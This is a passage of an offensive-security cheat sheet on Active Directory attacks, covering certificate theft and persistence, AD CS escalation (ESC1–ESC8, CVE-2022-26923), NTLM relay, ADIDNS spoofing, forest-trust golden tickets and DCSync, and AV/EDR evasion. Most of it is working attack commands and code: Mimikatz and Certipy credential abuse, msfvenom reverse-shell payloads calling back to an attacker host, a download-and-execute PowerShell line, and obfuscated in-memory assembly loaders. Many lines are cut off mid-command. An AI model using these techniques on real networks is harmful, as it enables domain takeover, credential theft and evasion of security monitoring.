Cmd > [Link] -config - -ping


Cmd > [Link] -TCAInfo [-v]

Hunt for Certificates

Export Certificates (THEFT1)


Export a certificate from user's context.
With certmgr:

Run → [Link] → Action → All Tasks → Export ...

With PowerShell:

PS > Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get

With CertStealer:

Cmd > .\[Link] -export pfx <CERT_THUMBPRINT>

If the private key is non-exportable, use Mimikatz's crypto::capi (to patch CAPI in current process) or
crypto::cng (to patch [Link] memory):

Cmd > .\[Link] "crypto::capi" "crypto::certificates /export" "exit"

DPAPI User Keys (THEFT2)

Decrypt a domain user's masterkey with domain's backup key with Mimikatz:

Cmd > .\[Link] "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"

Decrypt masterkey if user's plaintext password is known with Mimikatz:

Cmd > .\[Link] "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:P

Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1 masterkey
mappings (will output a .pem file):

Cmd > .\[Link] certificates /mkfil[Link]\Temp\[Link]

DPAPI Machine Keys (THEFT3)

It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use
the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:

# While elevated
Cmd > .\[Link] certificates /machine

After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use
that .pfx for domain authentication as the computer account (see PERSIST2).
Search for Certificate Files (THEFT4)

Find certificate files lying around with Seatbelt:

Cmd > .\[Link] "dir C:\ 10 \.(pfx|pem|p12)`$ false"


Cmd > .\[Link] InterestingFiles

Some other certificate-related file extensions:

File Extension Description

.key The private key.

.crt / .cer The certificate.

Signing request file. Does not contain certificates


.csr
keys.

Java Keystore. May contain certificates + private


.jks / .keystore / .keys
keys used by Java apps.

List EKUs for a certificate with PowerShell:

PS > $CertPath = "C:\Users\snovvcrash\[Link]"


PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object [Link].X509Certificates.X509Certificate2 @($Cert
PS > $[Link]

Parse .pfx with certutil:

Cmd > [Link] -dump -v [Link]

Correlate a certificate with a CA thumbprint on the host and in AD:

# Get cert's thumbprint


PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object [Link].X509Certificates.X509Certificate2 @($Cert
PS > $[Link]

# Match it with CA certs' thumbprints trusted by the current host


Cmd > .\[Link] -q CertificateThumbprints

# Match it with CA certs' thumbprints from AD


Cmd > .\[Link] find /quiet
Steal NTLM via PKINIT (THEFT5)
Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:

Cmd > .\[Link] "tgt::pac /caname:CorpCA /domain:[Link] /subject:snovvcrash /castore

Persistence via Certificates

User Persistence (PERSIST1)

Find certificate templates available for enrollment for the current user:

Cmd > .\[Link] find /clientauth

Search for any template that allows domain authentication (a stock published template that allows client
authentication is the User template).

Request a new certificate for enrolling current user context:

Cmd > .\[Link] request /ca:[Link]\CorpCA /template:User

This will output a certificate and private key in .pem . To convert it to .pfx compatible with Rubeus do:

$ openssl pkcs12 -in [Link] -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex

After that an adversary can upload it to target and use Rubeus to request a valid TGT, for as long as the
certificate is valid (default certificate lifetime is one year):

Cmd > .\[Link] asktgt /user:snovvcrash /certificat[Link]\Temp\[Link] /password:Passw0rd!

This approach will work even if the user changes their password. Combined with the THEFT5 technique, an
adversary can also persistently obtain the account's NTLM hash.

Machine Persistence (PERSIST2)

Same as for PERSIST1 but requesting a certificate for enrolling current machine context:

# While elevated
Cmd > .\[Link] request /ca:[Link]\CorpCA /template:Machine /machine

With access to a machine account certificate an adversary can use S4U2Self to obtain a Kerberos ticket to
any service on the host (see RBCD Abuse) or generate a silver ticket.

Certificate Renewal

Certificate template validity period - determines how long an issued certificate can be used.
Certificate template renewal period - determines a window of time before the certificate expires where
an account can renew it from the issuing certificate authority.

An adversary can renew the compromised certificate before the validity period expires, and so that extend
their access to AD without requesting additional ticket enrollments.

Domain Escalation via Certificates

Modifiable SAN + Any Purpose EKU (ESC2)

Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as
allows Any Purpose EKU ( [Link].0 ).

Find template with this misconfiguration:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag

Request a certificate specifying the /altname as a domain admin like in ESC1.

Agent Certificate + Enroll on Behalf of Another User (ESC3)

Conditions:

1. A template allows a low-privileged user to use an enrollment agent certificate.


2. Another template allows a low privileged user to use the enrollment agent certificate to request a
certificate on behalf of another user, and the template defines an EKU that allows for domain
authentication.

1. Request an enrollment agent certificate:

Cmd > .\[Link] request /ca:[Link]\CorpCA /template:Vuln-EnrollAgentTemplate

2. Request a certificate on behalf of another user based on a template that allows domain authentication:

Cmd > .\[Link] request /ca:[Link]\CorpCA /template:User /onbehalfon:MEGACORP

Vulnerable PKI Object ACEs (ESC5)


...

EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can
have user defined values in the subject alternative name.

This means that an adversary can enroll in any template configured for domain authentication that also
allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows to
authenticate as a domain admin or any other active user/machine.

Discover with certutil:

Cmd > [Link] -config "[Link]\CorpCA" -getreg "policy\EditFlags"


Or
Cmd > [Link] query \\[Link]\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Discover with Certify:

Cmd > .\[Link] find

To abuse request a certificate specifying an /altname with any template that allows for domain auth (e.g.,
the default User template which normally doesn't allow to specify alternative names):

Cmd > .\[Link] request /ca:[Link]\CorpCA /template:User /altname:DomAdmin

This setting can be set with domain admin's privileges like this (dangerous, do not do this!):

Cmd > [Link] -config "[Link]\CorpCA" -setreg "policy\EditFlags" +EDITF_ATTR

Remove this setting:

Cmd > [Link] -config "[Link]\CorpCA" -setreg "policy\EditFlags" -EDITF_ATTR

Vulnerable CA ACEs (ESC7)

Enumarate CA ACEs with Powershell PSPKI:

PS > Install-Module -Name PSPKI


PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName [Link] | Get-CertificationAuthor

ManageCA and ManageCertificates rights translate to the "CA Administrator" and "Certificate
Manager" ("CA Officer") respectively.
The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (see ESC6):

# Check before setting the flag


Cmd > hostname
DC01
Cmd > [Link] -config "[Link]\CorpCA" -getreg "policy\EditFlags"

# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object [Link] "CA0
PSPKI > $[Link]($true)
PSPKI > $[Link]("EditFlags", "PolicyModules\CertificateAuthority_Microsof
1114446
PSPKI > $[Link](1376590, "EditFlags", "PolicyModules\CertificateAuthority

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > [Link] -config "[Link]\CorpCA" -getreg "policy\EditFlags"

The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used
by an adversary to subvert the "CA certificate manager approval" protection:

# Request a certificate that requires manager approval with Certify


PS > .\[Link] request /ca:[Link]\CorpCA /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI


PSPKI > Get-CertificationAuthority -ComputerName [Link] | Get-PendingRequest -Req

# Download the issued certificate with Certify


PS > .\[Link] download /ca:[Link]\CorpCA /id:1337

Audit

[Link]
[Link]

PS > Get-WindowsCapability -Online -Name "Rsat.*" | where Name -match "CertificateServices|Act


PS > cd PSPKIAudit
PS > Get-ChildItem -Recurse | Unblock-File
PS > Import-Module .\PSPKIAudit.psm1
PS > Invoke-PKIAudit -CAComputerName [Link]

Misc
Parse .pfx with PowerShell:

PS > $cert = [[Link].X509Certificates.X509Certificate2]([[Link]]


PS > $cert | select *

Tools

Certify

[Link]
[Link]

[Link]
Certify.ps1

Search for vulnerable certificate templates:

Cmd > .\[Link] find /vulnerable

Certipy

[Link]

Get TGT automatically and list CAs, servers and search for vulnerable certificate templates (output in text,
JSON and BloodHound formats):

$ certipy find MEGACORP/snovvcrash:'Passw0rd!'@[Link]

certi

[Link]

Get TGT:

$ [Link] [Link]/snovvcrash:'Passw0rd!'@[Link] -dc-ip [Link]


List CAs and servers (short):

$ [Link] list [Link]/snovvcrash -k -n --dc-ip [Link] --class service

List CAs (verbose):

$ [Link] list [Link]/snovvcrash -k -n --dc-ip [Link] --class ca

Search for vulnerable certificate templates:

$ [Link] list [Link]/snovvcrash -k -n --dc-ip [Link] --vuln --enable

PassTheCert

[Link]
[Link]

[Link]

dNSHostName Spoofing
CVE-2022-26923

[Link]
9e098fe298f4

[Link]
[Link]
[Link]
[Link]

Check
If there's an object SID printed when requesting a certificate based on the User or Machine templates, the
AD environment is not vulnerable:

$ certipy req [Link]/snovvcrash:'Passw0rd!'@[Link] -ca CorpCA -template U


Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate


[*] Successfully requested certificate
[*] Request ID is 120
[*] Got certificate with UPN 'snovvcrash@[Link]'
[*] Certificate object SID is 'S-1-5-21-1230029644-1443616230-1161330039-2139' <== NOT vulner
[*] Saved certificate and private key to '[Link]'

Exploit
Create a new machine account with dNSHostName containing FQDN of a DC:

$ certipy account create [Link]/snovvcrash:'Passw0rd!'@[Link] -user fakem

Request a certificate on behalf of that machine account with spoofed dNSHostName :

$ certipy req [Link]/'fakemachine$:UTFWnTqZV4mgGCkz'@[Link] -ca CorpCA -t

Abuse PKINIT

Authenticate with the obtained certificate and get DC's NT hash via PKINIT:

$ certipy auth -pfx [Link] -dc-ip [Link]

Abuse RBCD

[Link]

Authenticate with obtained certificate and configure RBCD on a DC via bloodyAD to allow delegation to the
fake machine account:

$ openssl pkcs12 -in [Link] -out [Link] -nodes


$ python [Link] -d [Link] -c ":[Link]" --host [Link] setRbcd 'fakemachine

About the Fix

[Link]
[Link]

ESC1
Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs

[Link]
certificate-kerberos-pkinit-from-linux/

The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart
Card Logon ( [Link].[Link].2.2 ) or Client Authentication ( [Link].[Link].2 ) or PKINIT
Client Authentication ( [Link].[Link] ) EKUs.

Enumerate
Find template with this misconfiguration with native Active Directory module:

PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag

Exploit

Certify

Request a certificate specifying the /altname as a domain admin:

Cmd > .\[Link] request /ca:[Link]\CorpCA /template:VulnTemplate /altname:Dom

Convert .pem to a .pfx certificate:

$ openssl pkcs12 -in [Link] -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex

Request a TGT with the .pfx certificate:

Cmd > .\[Link] asktgt /domain:[Link] /dc:[Link] /user:DomAdmin /certi

Certipy

Enroll a certificate with privileged subject in SAN:

$ certipy req [Link]/snovvcrash:'Passw0rd!'@[Link] -ca CorpCA -template V

Request TGT providing certificate and get corresponding NT hash automatically:


$ certipy auth -pfx administrator pfx -domain megacorp local -username administrator -dc-ip 19

certi

[Link]

Enroll a certificate with privileged subject in SAN:

$ [Link] req [Link]/snovvcrash@[Link] CorpCA -k -n --dc-ip [Link]

Request TGT providing certificate:

$ base64 -w0 [Link] > [Link].b64


$ python3 [Link] [Link]/'DC01$' -pfx-base64 `cat [Link].b64` -pfx-pass admi

Request NT hash providing TGT or DCSync:

$ KRB5CCNAME=[Link] python3 [Link] [Link]/'DC01$' -dc-ip [Link] -key


$ KRB5CCNAME=[Link] [Link] [Link] -dc-ip [Link] -just-dc-user

ESC4
Vulnerable Certificate Template ACEs

[Link]

Right Description

Implicit full control of the object, can edit any


Owner
properties.

FullControl Full control of the object, can edit any properties.

Can modify the owner to an adversary-controlled


WriteOwner
principal.

Can modify access control to grant an adversary


WriteDacl
FullControl .

WriteProperty Can edit any properties.

Enumerate and Modify Templates


[Link]

[Link]

ESC8
NTLM Relay to AD CS HTTP Endpoints

[Link]
directory/

[Link]

Enumerate
Discover CES endpoints with certutil:

Cmd > [Link] -enrollmentServerURL -config [Link]\CA01

Discover CES endpoints with PowerShell:

PS > Get-CertificationAuthority | select name,enroll* | fl

Exploit

ntlmrelayx

[Link]

[Link]
[Link]

$ sudo [Link] -t [Link] -smb2support --no-wcf-


$ python3 [Link] -d '' -u '' -p '' [Link] [Link]
PS > .\[Link] asktgt /user:DC1$ /domain:[Link] /dc:[Link] /certificate

PKINITtools
[Link]
[Link]

[Link]

Backup original [Link] and copy one from the toolkit with a modified domain name and a
template if needed ( DomainController is by default, but also one may use
KerberosAuthentication ):

$ sudo cp /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/[Link] /u
$ subl ntlmrelayx/[Link]
$ sudo cp ntlmrelayx/[Link] /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx

Perform the relay attack, request the TGT via PKINIT and get the NT hash based on U2U Kerberos
extension:

$ sudo [Link] -t [Link] -smb2support --no-wcf-


$ python3 [Link] -d '' -u '' -p '' [Link] [Link]
$ python3 [Link] [Link]/'DC1$' -cert-pem [Link] -key-pem [Link] dc1
$ KRB5CCNAME=[Link] python3 [Link] [Link]/'DC1$' -key 00ff00ff00ff00ff00ff00

Revert the original [Link] :

$ sudo mv /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/[Link]

Certipy

Prepare for the relay attack:

$ certipy relay -ca [Link] -template DomainController

ADCSPwn

[Link]

Stream #17 - Abusing Active Directory Certificate Services as a beacon operator


Start a relay server:

PS > .\[Link] --adcs [Link]

Coerce the authentication, e. g. via Coercer:

$ coercer -u snovvcrash -p 'Passw0rd!' -wh VICTIM01 -wp 8080 -t [Link]

ADIDNS Abuse
Active Directory integrated DNS

[Link]
[Link]

[Link]

0. Load tools:

PS > IEX(New-Object [Link]).DownloadString("[Link]

1. Check if you are able to modify (add) AD DNS names:

PS > Get-ADIDNSZone -Credential $cred -Verbose


DC=[Link],CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local
DC=_msdcs.[Link],CN=MicrosoftDNS,DC=ForestDnsZones,DC=megacorp,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=megacorp,DC=local

PS > Get-ADIDNSPermission -Credential $cred -Verbose | ? {$_.Principal -eq 'NT AUTHORITY\Authe


Principal : NT AUTHORITY\Authenticated Users
IdentityReference : S-1-5-11
ActiveDirectoryRights : CreateChild
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags
AccessControlType : Allow
None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None

This CreateChild permission is what we need.

2. Create, configure the new DNS name that could be likely exploited for spoofing with Attacker's IP and
enable it. I chose pc01 which was found in DNS cache:

PS > New-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose


PS > $dnsRecord = New-DNSRecordArray -Type A -Data [Link]
PS > Set-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Value $dnsRecord -Credential $cr
PS > Enable-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose

3. Check the newly created DNS object and try to resolve it. AD will need some time (~180 seconds) to sync
LDAP changes via its DNS dynamic updates protocol:

PS > Get-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Credential $cred -Verbose


PS > Resolve-DNSName pc01
PS > cmd /c ping -n 1 pc01

4. Cleanup:

PS > Remove-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose

adidnsdump

[Link]

$ adidnsdump -u '[Link]\snovvcrash' -p 'Passw0rd!' [Link] -r [--dcfilter]


$ mv [Link] ~/ws/enum/[Link]

Check with ldapsearch:

$ ldapsearch -H ldap://[Link]:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w

If you need to dump a child domain ADIDNS (say [Link] ), then you may want to use
--zone and --forest options:

# Will dump records from DC=[Link],CN=MicrosoftDNS,DC=ForestDnsZones,DC=megacorp,DC=lo


$ adidnsdump -u '[Link]\snovvcrash' -p 'Passw0rd!' [Link] --z
# Will attempt to dump records from DC=[Link],CN=MicrosoftDNS,DC=DomainDnsZones
$ adidnsdump -u '[Link]\snovvcrash' -p 'Passw0rd!' [Link] -r

Merge all the IPs into /24 CIDRs with a Python script:

cidr_merge.py
#!/usr/bin/env python3

"""
Merge standalone IPs into CIDRs.

Example:
$ cat ~/ws/enum/[Link] | awk -F, '{print $3}' > [Link]
$ cidr_merge.py | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n | grep -e '^192' -e '^172' -e '^10
"""

import netaddr

iplst = []
with open('[Link]', 'r') as fd:
for line in fd:
ip = [Link]('\n')
try:
[Link]([Link](f'{ip}/24'))
except [Link]:
pass

for net in netaddr.cidr_merge(iplst):


print(str(net))

Or using mapcidr:

$ eget -qs linux/amd64 projectdiscovery/mapcidr


$ cat ~/ws/enum/[Link] | awk -F, '{print $3}' | egrep '^[0-9]' | mapcidr -aa -silent | map

DnsServer
Dump ADIDNS using PowerShell and DnsServer module:

PS > Import-Module DnsServer


PS > Get-DnsServerZone -ComputerName DC01 | % {Get-DnsServerResourceRecord -ComputerName DC01

Attack Trusts
"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)

[Link]

[Link]

[Link]

[Link]

Theory

[Link]

[Link]
[Link]#L48-L60
Trust 👉🏻 a link between the authentication systems of two domains.

Transitive trust 👉🏻 the trust is extended to objects which the child domain trusts.

Non-transitive trust 👉🏻 only the child domain itself is trusted.


Bidirectional (two-way) trust 👉🏻 users from both trusting domains can access resources.
One-way trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-
versa (the direction of trust is opposite to the direction of access).

Some trust types:

Trust Type Description

A trust between domains within the same forest.


Parent-child The child domain has a bidirectional transitive trus
with the parent domain.

A trust between child domains (used to speed up


Cross-link (shortcut)
authentication).

A bidirectional transitive trust between a forest roo


domain and a new tree root domain. Created
Tree-root (intra-forest) implicitly when a new domain tree is created in the
forest.

A transitive trust between two forest root domains.


Forest
Enforces SID filtering.

A non-transitive trust between two separate


External (inter-forest) domains in separate forests that are not already
joined by a forest trust. Enforces SID filtering.
Enumeration
Get forest object:

PV2 > Get-NetForest [-Forest [Link]]


PV3 > Get-Forest [-Forest [Link]]

Get all domains in a fores:

PV2 > Get-NetForestDomain [-Forest [Link]]


PV3 > Get-ForestDomain [-Forest [Link]]

Enum trusts for current domain via nltest and .NET:

Cmd > nltest /trusted_domains


PS > ([[Link]]::GetCurrentDomain()).GetAllTrustRelati
PS > ([[Link]]::GetCurrentForest()).GetAllTrustRelati

Enum trusts via Win32 API and LDAP (PowerView):

PV2 > Get-NetDomainTrust [-Domain [Link]] | ft


PV3 > Get-DomainTrust -API [-Domain [Link]] | ft

PV2 > Get-NetDomainTrust -LDAP [-Domain [Link]] | ft


PV3 > Get-DomainTrust [-Domain [Link]] | ft

Build domain trust mapping:

PV2 > Invoke-MapDomainTrust [-Domain [Link]] | ft


PV3 > Get-DomainTrustMapping [-Domain [Link]] | ft

sIDHistory/ExtraSids Hopping

[Link]
[Link]
[Link]
to-ea-in-parent-domain
Abusing Bidirectional ParentChild trust between child megacorp local ⟷ megacorp local
Check if SID filtering is enabled for a trust:

Cmd > [Link] trust [Link] /domain:[Link] /quarantine


SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.

For creating a cross-trust golden ticket (forged inter-realm TGT) we'll need:

1. child domain FQDN ( [Link] );

2. name of the child domain's DC machine account and its RID ( DC01$ , 31337 );

3. SID of the child domain ( S-1-5-21-4266912945-3985045794-2943778634 );

4. SID of the parent domain ( S-1-5-21-2284550090-1208917427-1204316795 );

5. compomised krbtgt hash from the child domain ( 00ff00ff00ff00ff00ff00ff00ff00ff );

6. ???
7. PROFIT.

1.
PS > $env:userdnsdomain
[Link]

2.
PV2 > (Get-NetComputer -ComputerName [Link] -FullData | select ObjectSID).O
PV3 > (Get-DomainComputer [Link] | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-31337

3.
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634

4.
PS > (New-Object [Link]("[Link]","krbtgt")).Translate([Sy
S-1-5-21-2284550090-1208917427-1204316795-502

Create cross-trust golden ticket:

mimikatz # kerberos::golden /domain:[Link] /user:DC01$ /id:31337 /groups:516 /si


Or

$ [Link] -nthash 00ff00ff00ff00ff00ff00ff00ff00ff -user-id 31337 -groups 516 -domain chil

For DCSyncing we'll need only parent domain FQDN ( [Link] ):

PS > ([[Link]]::GetCurrentForest())[0].[Link]
[Link]
DCSync:

mimikatz # lsadump::dcsync /user:[Link]\krbtgt /domain:[Link]

Request Inter-Realm TGT with Rubeus

Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native
user in current domain), we can request Kerberos tickets manually with Rubeus.

Request TGT for that user in current domain:

beacon> execute-assembly [Link] asktgt /user:snovvcrash /domain:[Link] /aes256:94b

Request inter-realm TGT from current domain to the target domain:

beacon> execute-assembly [Link] asktgs /service:krbtgt/[Link] /domain:megacorp

Use inter-realm TGT to request a TGS in the target domain:

beacon> execute-assembly [Link] asktgs /service:cifs/[Link] /domain:megacor

UnD + PrinterBug

[Link]
[Link]
71f2b33688e1
[Link]

[Link]
Spoolsample.ps1
[Link]

Unconstrained

Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation is enabled for the
trusted forest:

Cmd > [Link] trust [Link] /domain:[Link] /EnableTGTDelegation:Yes


Attack Forest Trusts
List foreign users and users from foreign groups:

PV2 > Find-ForeignUser -Domain [-Domain [Link]]


PV3 > Get-DomainForeignUser [-Domain [Link]]

PV2 > Find-ForeignGroup -Domain [-Domain [Link]]


PV3 > Get-DomainForeignGroupMember [-Domain [Link]]

PV > Convert-SidToName ...

List user accounts from a target domain with SPNs set for Kerberoasting:

PV3 > Get-DomainUser -SPN -Domain [Link] | ? {$_.samAccountName -ne "krbtgt"} | select
PS > .\[Link] Get-DomainUser -SPN -Domain [Link] -Properties samAccountName,mem

If SID history is enabled (e.g., if domain is on its migration period, netdom trust [Link] /d:[Link]
/enablesidhistory:yes ) then the forest trust is treated as external.

We can try to locate non-default (with RID greater than 1000) admin account:

PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain [Link]


PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain [Link]

If such an account is a member of a domain local security group (not a global group like Enterprise Admins
or Domain Admins) and allows us to pwn a user or a computer in target domain, we can forge the inter-realm
TGT the same way as described above.

CVE-2020-0665

[Link]
[Link]
[Link]

Visualization (yEd)

[Link]
[Link]
[Link]
[Link]
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation [Link]
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation [Link]
$ git clone [Link] && cd TrustVisualizer
$ pip3 install -r [Link]
$ python3 [Link] [Link]

AV / EDR Evasion

[Link]

[Link]

[Link]
[Link]

[Link]
[Link]

[Link]
[Link]
[Link]

[Link]

[Link]
[Link]
[Link]
5fc6a199a8f33a1036140386

Recon

[Link]
[Link]

Common AV process names:

Process Name Vendor/Product

[Link] KIS / KES

[Link] Check Point End Point Security

[Link] ESET GUI

[Link] ESET Kernel Service


[Link] Windows Defender

[Link] Trend Micro OfficeScan

[Link] Trend Micro OfficeScan

Search for active AV processes on hosts (local admin priveleges required):

Cmd > WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get display


PS > Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
PS > gc .\[Link] | % {gwmi -Query "select * from Win32_Process" -ComputerName $_ | ? {$

Identify [Link] version from inspecting assembly properties:

PS > cd C:\Windows\[Link]\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\[Link] | Fl
Or
PS > [[Link]]::GetVersionInfo($(Get-Item .\[Link])).FileVersion

Identify [Link] version from querying the registry:

PS > Get-ItemProperty "HKLM:SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -Name Release

Windows build <-> default .NET Framework version associations:

Windows Build Default .NET Framework Version

1511 4.6.1

1607 4.6.2

1703 4.7

1709 4.7.1

1803 4.7.2

1909+ 4.8

.NET Framework version <-> CLR version associations:

.NET Framework Version CLR Version

2.0, 3.0, 3.5 2

4, 4.5-4.8 4
Note that we don't have to target the exact .NET Framework version when compiling our tools. It's
enough to match the above relationship between .NET Framework version and CLR version, i. e.
all 4.x versions will execute on CLR v4. For example, Rubeus compiled to target v4.5 will run on
a machine with only .NET v4.0 installed.

Tools

msfvenom

$ msfvenom -p windows/shell_reverse_tcp LHOST=[Link] LPORT=1337 -a x86 --platform win -e x8


$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link] LPORT=1337 -e x86/shikata_ga_nai

Veil-Evasion

Hyperion + Pescramble

$ wine [Link] [Link] [Link]


$ wine [Link] -i [Link] -o [Link]

GreatSCT

[Link]

HackTheBox - Arkham
Install and generate a payload:

$ git clone [Link] ~/tools/GreatSCT


$ cd ~/tools/GreatSCT/setup
$ ./[Link]
$ cd .. && ./[Link]
...generate a payload...
$ ls -la /usr/share/greatsct-output/handlers/payload.{rc,xml}

$ msfconsole -r /usr/share/greatsct-output/handlers/[Link]

Exec with [Link] and get a shell:

PS > cmd /c C:\Windows\[Link]\framework\v4.0.30319\[Link] [Link]

Invoke-Obfuscation

[Link]
[Link]

Out-EncryptedScript.ps1

[Link]
EncryptedScript.ps1
[Link]

PS > Out-EncryptedScript .\script.ps1 $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force


PS > . .\evil.ps1
PS > $dec = de "Passw0rd!" s4lt
PS > Invoke-Expression $dec

PowerShellArmoury

[Link]
[Link]
[Link]

PS > git clone [Link]


PS > cd PowerShellArmoury
PS > curl [Link] -o P
PS > . .\New-PSArmoury.ps1
PS > New-PSArmoury -ValidateOnly -Config [Link]
PS > New-PSArmoury -Path armored.ps1 -Config [Link]
PS > cat -raw .\armored.ps1 | iex

Ebowla

$ git clone [Link] ~/tools/Ebowla && cd ~/tools/Ebowla


$ sudo apt install golang mingw-w64 wine python-dev -y
$ sudo python -m pip install configobj pyparsing pycrypto pyinstaller
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[Link] LPORT=1337 --platform win -f exe
$ vi [Link]
...Edit output_type, payload_type, clean_output, [[ENV_VAR]]...
$ python [Link] [Link] [Link] && rm [Link]
$ ./build_x64_go.sh output/go_symmetric_rev.[Link] [Link] [--hidden] && rm output/go_s
[+] output/[Link]

PEzor

[Link]

Wrap executable into PEzor:

$ bash [Link] -sgn -unhook -antidebug -text -syscalls -sleep=10 [Link] -z 2

inceptor

[Link]
[Link]

ScareCrow

[Link]

[Link]
[Link]

Huan

[Link]

Cmd > .\[Link] [Link] [Link]


Cmd > .\[Link]
charlotte

[Link]

$ sudo apt install 'mingw-w64*' -y


$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=[Link] LPORT=1337 -f raw > beacon
$ python [Link]
Cmd > [Link] [Link], <XOR_KEY>

MeterPwrShell

[Link]

[Link]

$ sudo ./MeterPwrShell2Kalix64 -c noaptupdate

SharpSploit

[Link]
[Link]
%20Quick%20Command%[Link]

SharpGen

[Link]
[Link]

[Link]

$ ~/tools/PEzor/deps/donut/donut -i [Link] -o [Link]


$ echo -n 'var shellcode = Convert.FromBase64String("' > [Link]
$ echo -n `base64 -w0 [Link]` >> [Link]
$ echo '");' >> [Link]
$ echo '[Link](shellcode);' >> [Link]
$ ~/.dotnet/dotnet bin/Debug/netcoreapp2.1/[Link] -f [Link] -s [Link] -c She

.NET Reflective Assembly

[Link]
[Link]
[Link]
[Link]
[Link]

[Link]
[Link]

A way to bypass AV signature analysis: you can gzip-compress and base64-encode a .NET assembly to
load it reflectively via PowerShell right from memory (when compiling the binary, make Program class and
its Main method public):

CompressEncodeAssembly.ps1
$bytes = [[Link]]::ReadAllBytes("$(pwd)\[Link]")
[[Link]] $outStream = New-Object [Link]
$gzipStream = New-Object [Link]($outStream, [[Link].C
$[Link]($bytes, 0, $[Link])
$[Link]()
$[Link]()
[byte[]] $outBytes = $[Link]()
$b64Zipped = [[Link]]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\[Link]
[Link] .\[Link]

This blog post covers the topic in depth.

An example how the binary can be actually decoded, decompressed and run from memory:

function Invoke-S0m3B1n4ry
{
[CmdletBinding()]
Param([String]$cOmmANd = " ")

$a = NeW-obJeCt [Link](,[coNveRT]::frombaSE64sTrINg("..."))

$DEcoMpRESSEd = nEw-obJEct [Link]($a, [[Link]


$OUtpuT = New-oBjeCt [Link]
$[Link]( $outPUt )
[BYte[]]$ByTEOuTarrAy = $[Link]()
$RAs = [[Link]]::load($bYTeOUTArraY)
$olDconsOLeOuT = [CONSoLe]::out
$StRInGwritEr = nEW-ObJEct [Link]
[cONSOLE]::sEtOut($STringWRITer)

[[Link]]::maiN($[Link]())
# or [[Link]]::maiN([string[]]$args)

[cOnsolE]::sEtout($olDCONsOleout)
$resUlTs = $[Link]()
$rESuLTs
}
C# to Unmanaged DLL

[Link]

Creating assembly with DLL exports from C# code:

1. Select your favorite C# offensive tool.

2. Install DllExport package via "Manage NuGet Packages for Solution" in VS.

3. Configure DllExport like on the screenshot below and click "Apply".

4. Agree to reload the solution.

5. Edit the Main function code to work with no arguments passed so that the signature looks like static
void Main() .
